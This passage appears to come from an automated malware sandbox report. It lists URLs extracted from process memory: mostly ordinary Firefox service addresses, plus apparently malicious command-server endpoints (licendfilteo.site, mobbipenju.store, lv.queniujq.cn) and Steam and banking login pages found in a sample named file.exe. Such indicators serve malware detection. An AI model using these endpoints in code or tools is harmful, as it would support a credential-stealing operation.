Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 00000015.00000003.1986003364.0000010CAF547000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2650559517.000001F8FDB12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2649897407.000001CD08813000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000018.00000002.2650559517.000001F8FDBC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2649897407.000001CD088C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000018.00000002.2650559517.000001F8FDBC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2649897407.000001CD088C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001A.00000002.2649897407.000001CD08830000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000015.00000003.1806418356.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1984498299.0000010CAF984000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1927745250.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1958796746.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 00000015.00000003.1806418356.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1984498299.0000010CAF984000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1927745250.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1958796746.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 00000015.00000003.1806418356.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1984498299.0000010CAF984000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1927745250.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1958796746.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 00000015.00000003.1806418356.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1984498299.0000010CAF984000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1927745250.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1958796746.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 00000015.00000003.1806418356.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1984498299.0000010CAF984000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1927745250.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1958796746.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 00000015.00000003.1806418356.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1984498299.0000010CAF984000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1927745250.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1958796746.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 00000015.00000003.1806418356.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1984498299.0000010CAF984000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1927745250.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1958796746.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 00000018.00000002.2650559517.000001F8FDBC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2649897407.000001CD088C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000015.00000003.1806418356.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1984498299.0000010CAF984000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1927745250.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1958796746.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 00000015.00000003.1958796746.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000015.00000003.1806418356.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1984498299.0000010CAF984000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1927745250.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1958796746.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 00000018.00000002.2650559517.000001F8FDBC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2649897407.000001CD088C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000015.00000003.1812172708.0000010CA8ED5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 00000015.00000003.1812172708.0000010CA8ED5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworkeri~t
Source: firefox.exe, 00000015.00000003.1895432160.0000010CAF845000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000015.00000003.1895432160.0000010CAF827000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 00000015.00000003.1895432160.0000010CAF827000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 00000015.00000003.1895432160.0000010CAF845000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 00000015.00000003.1895432160.0000010CAF845000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 00000015.00000003.1775560172.0000010CA7542000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1774981087.0000010CA7300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1775892832.0000010CA7563000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1775198611.0000010CA7522000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000015.00000003.1930974662.0000010CAF6B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 00000015.00000003.1930974662.0000010CAF6B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 00000015.00000003.1930974662.0000010CAF6B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: firefox.exe, 00000015.00000003.1930974662.0000010CAF6B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 00000015.00000003.1977630551.0000010CA9420000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1835963935.0000010CB0EEF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1970972518.0000010CA9420000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ib.absa.co.za/
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 00000015.00000003.1982485653.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/apps/oldsyncS
Source: firefox.exe, 00000015.00000003.1940775609.0000010CA94F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/apps/relay
Source: firefox.exe, 00000015.00000003.1982485653.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/cmd/H
Source: firefox.exe, 00000015.00000003.1982485653.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/cmd/HCX
Source: firefox.exe, 00000015.00000003.1982485653.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/ids/ecosystem_telemetryU
Source: firefox.exe, 00000015.00000003.1982485653.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/ids/ecosystem_telemetryUFj
Source: firefox.exe, 00000015.00000003.1806418356.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1927745250.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1958796746.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: file.exe, 00000000.00000003.1485103879.0000000005E74000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1484877780.0000000005E6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdv
Source: firefox.exe, 0000001A.00000002.2656010478.000001CD08B03000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.21.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: firefox.exe, 00000015.00000003.2006181406.0000010CA7268000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000018.00000002.2650559517.000001F8FDBBE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2649897407.000001CD088F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000015.00000003.1993074474.0000010CA98DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1925210527.0000010CB3A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit/firefox-desktop/events/1/ea44f425-e9de-4da9-be33-5979b
Source: firefox.exe, 00000015.00000003.2006181406.0000010CA7297000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2005213057.0000010CA7B6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit/firefox-desktop/metrics/1/bb9cc62c-15b3-4612-8c64-7925
Source: firefox.exe, 00000015.00000003.1895432160.0000010CAF845000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 00000015.00000003.1984242915.0000010CAFC87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: file.exe, 00000000.00000003.1415866051.00000000017BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://licendfilteo.site:443/api
Source: firefox.exe, 00000015.00000003.1895432160.0000010CAF845000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 00000015.00000003.1895432160.0000010CAF845000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 00000015.00000003.1895432160.0000010CAF845000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1825529655.0000010CAAC47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1962452330.0000010CAAC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1825529655.0000010CAAC47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1962452330.0000010CAAC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: firefox.exe, 00000015.00000003.2006181406.0000010CA7297000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lookerstudio.google.com/embed/reporting/
Source: file.exe, 00000000.00000003.1415753536.0000000001810000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1425068667.0000000001803000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.q
Source: file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: firefox.exe, 00000015.00000003.1779239585.0000010CA712D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1981244253.0000010CA7135000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1877716437.0000010CA7132000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1777667783.0000010CA7133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1779014537.0000010CA7110000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000015.00000003.1779239585.0000010CA712D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1981244253.0000010CA7135000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1877716437.0000010CA7132000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1777667783.0000010CA7133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1779014537.0000010CA7110000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000015.00000003.1779239585.0000010CA712D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1981244253.0000010CA7135000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1877716437.0000010CA7132000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1777667783.0000010CA7133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1779014537.0000010CA7110000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: firefox.exe, 00000018.00000002.2650559517.000001F8FDB86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2649897407.000001CD0888F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: file.exe, 00000000.00000003.1397386123.00000000017D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mobbipenju.store/
Source: file.exe, 00000000.00000003.1397386123.00000000017D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mobbipenju.store/api
Source: file.exe, 00000000.00000003.1415866051.00000000017BD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1397386123.00000000017BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mobbipenju.store:443/api
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 00000015.00000003.1921737484.0000010CA4E7B000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1921667409.0000010CA4E83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org0/
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 00000015.00000003.1779239585.0000010CA712D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1981244253.0000010CA7135000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1877716437.0000010CA7132000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1777667783.0000010CA7133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1779014537.0000010CA7110000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: firefox.exe, 00000015.00000003.1779239585.0000010CA712D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1981244253.0000010CA7135000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1877716437.0000010CA7132000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1777667783.0000010CA7133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1779014537.0000010CA7110000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
